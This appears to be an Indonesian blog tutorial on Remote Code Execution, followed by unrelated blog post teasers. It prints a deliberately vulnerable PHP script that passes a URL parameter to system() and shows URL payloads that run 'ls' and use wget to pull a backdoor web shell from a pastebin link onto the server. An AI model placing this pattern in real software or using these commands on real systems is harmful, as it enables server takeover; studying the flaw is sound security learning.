Skip to main content

Apa itu Remote Code Execution? dan Bagaimana Remote Code Execution itu bekerja?

Naufal Ardhani - Hallo gaes dah lama nih engga update artikel diblog ini karna gasempet buat nulis waktunya keambil terus sama kegiatan lain hehe , Kali ini Saya akan membahas sebuah metode yang bernama Remote Code Execution atau biasa disebut RCE.



Mungkin anda belum tau lebih jelas metode ini Apa itu Remote Code Execution? dan Bagaimana Remote Code Execution itu bekerja? silahkan simak ya ada dibawah jawabannya.



  • Apa itu Remote Code Execution?

Remote Code Execution merupakan bug dimana sang attacker mempunyai kemampuan untuk mengeksekusi perintah di mesin target, biasanya memanfaatkan kelemahan aplikasi yang dijadikan target eksploitasi, memungkinkan attacker untuk menjalankan command2 secara remote melalui url. Bug ini biasanya terdapat pada aplikasi yg mnggunakan cgi.


  • Bagaimana Remote Code Execution itu bekerja?

Script PHP Remote Code Execution sederhana :
<?php echo "RemoteCodeExecution | www.naufalardhani.com<br><br><br>"; $cmd=$_GET['action']; echo "Command : " . $cmd . "<br><br>"; system($cmd); ?>
Script diatas merupakan contoh script yang rentan pada PHP, Sesimple itu kah susunan script Remote Code Execution? yaps benar masalahnya ada di system($command),
Ini akan menjalankan fungsi yang berhubungan dengan sistem.

Disini saya sudah mengupload script Remote Code Execution ke localhost dengan nama tools.php sebagai contoh target dan saya akan mempraktekan bagaimana sang Attacker melakukan Remote Code Execution pada sistem,

  1. Saya membuka link http://localhost:8888/tools.php ( contoh target )
  2. Dan saya menambahkan ?action= setelah http://localhost:8888/tools.php untuk melakukan Remote Code Execution, jadi seperti berikut linknya http://localhost:8888/tools.php?action= dan saya mencoba menjalankan command ls untuk melihat isi directory, http://localhost:8888/tools.php?action=ls dan terdapat 1 folder dan 3 file.
  3. Lalu sang Attacker mencoba memanggil Shell Backdoor RESET dengan command wget, seperti ini commandnya "wget linkshell -O namafile.php", http://localhost:8888/tools.php?action=wget https://pastebin.com/raw/**** -O reset.php
  4. lalu kita cek Shellnya, http://localhost:8888/reset.php
Nahh sudah terupload shellnya :)

Sampai disini saja artikel kali ini semoga bermanfaat bagi kalian semua dan jika ada kesalahan dalam penulisan artikel ini mohon di maklumi karna saya sebagai penulis juga masih belajar.

Request artikel / Mengoreksi kesalahan dalam artikel? silahkan isi di kolom komentar.

Comments

Popular posts from this blog

Sejuta Pesona Kakadu

Senja di Yellow Water, Kakadu National Park Perjalanan kami ke Kakadu National Park sangat membekas di hati. Sampai sekarang pun ketika saya menuliskan kembali kisah ini, masih terbayang bentangan pemandangan indah yang kami saksikan di alam yang masih perawan. Kakadu National Park adalah taman nasional terbesar di Australia. Letaknya di Northen Territory, sekitar 200 km sebelah timur kota Darwin. Kakadu memperoleh status heritage site dari UNESCO karena alam sekaligus budayanya. Orang Aborijin adalah pemilik asli tanah ini. Mereka 'meminjamkan' tanah Kakadu untuk dikelola pemerintah daerah sebagai taman nasional. Apa yang bisa dilihat di Kakadu NP? Tentu keindahan alam dan marga satwanya yang melimpah. Di Kakadu terdapat 290 jenis burung, 60 jenis mamalia, 50 jenis hewan air tawar, 10.000 jenis serangga dan 1600 jenis spesies tanaman. Yang menjadi raja tentu saja buaya, si penduduk asli :) Kami melakukan perjalanan mandiri dengan menyewa mobil biasa (bukan 4WD) ke Kakadu NP....

Jasa Fogging Nyamuk Murah Bandung | 0857-4789-0221 - Garda Pest

  Memerlukan informasi tentang   Jasa Fogging Nyamuk Murah Bandung   ?   Garda pest Control Perusahaan pengendalian hama dan disinfeksi virus yang profesional dan untuk harga pasti terjangkau, dengan Layanan Cepat Berkualitas kami manjamin kepuasan pelanggan. Jasa Fogging Nyamuk Murah Bandung dan Berkualitas Artikel Lainya Tentang :  Virus Varian Terbaru Waspada Penularan Nyamuk Demam Berdarah (DBD) Waspada nyamuk di rumah Anda, mencegah lebih baik daripada mengobati. Lakukan tindakan pencegahan untuk mencegah populasi nyamuk dewasa dengan 3M Plus dan layanan gerimis nyamuk. Pilih layanan yang terbaik dan profesional, Dengan banyaknya perusahaan jasa fogging nyamuk murah dengan hasil yang mengecewakan kami sarankan pilihlah jasa yang profesional berpengalaman di bidang pengendalian hama. Garda Pest Control memiliki pengalaman lebih dari 10 tahun dalam pengendalian hama. Baca Juga Artikel Tentang :  Cara Mengusir Nyamuk di Rumah Mengapa Jasa Garda Pest Contr...

Happy 80th Anniversary, Sydney Harbour Bridge!

Anak-anak mendapat balon gratis di perayaan ini Masih segagah ketika diresmikan tahun 1932, Jembatan Sydney Harbour yang menjadi ikon kota Sydney ini berulang tahun yang ke-80. Warga Sydney yang tidak melewatkan kesempatan untuk berpesta, menggelar piknik di taman 'bawah jembatan' untuk merayakan ulang tahun The Coathanger ini. Minggu pagi yang mendung dan gerimis sempat menyurutkan niat kami untuk ikut berpesta merayakan ulang tahun si jembatan bersama warga Sydney lainnya. Untungnya cuaca mulai membaik di siang hari, matahari pun mulai nampak menggeser awan-awan kelabu. Kami naik kereta dari suburb menuju stasiun Milson Point, stasiun di utara Sydney Harbour yang paling dekat dengan lokasi Bradfield Park, tempat acara ini berlangsung. Di hari Minggu, keluarga yang membawa anak-anak cukup membayar AU$ 2,50 per orang untuk naik semua jenis transportasi umum di Sydney, seharian penuh. Jadi rugi kalau nggak keluar rumah :) Agak memalukan sebenarnya, kami yang sudah lima tahun tin...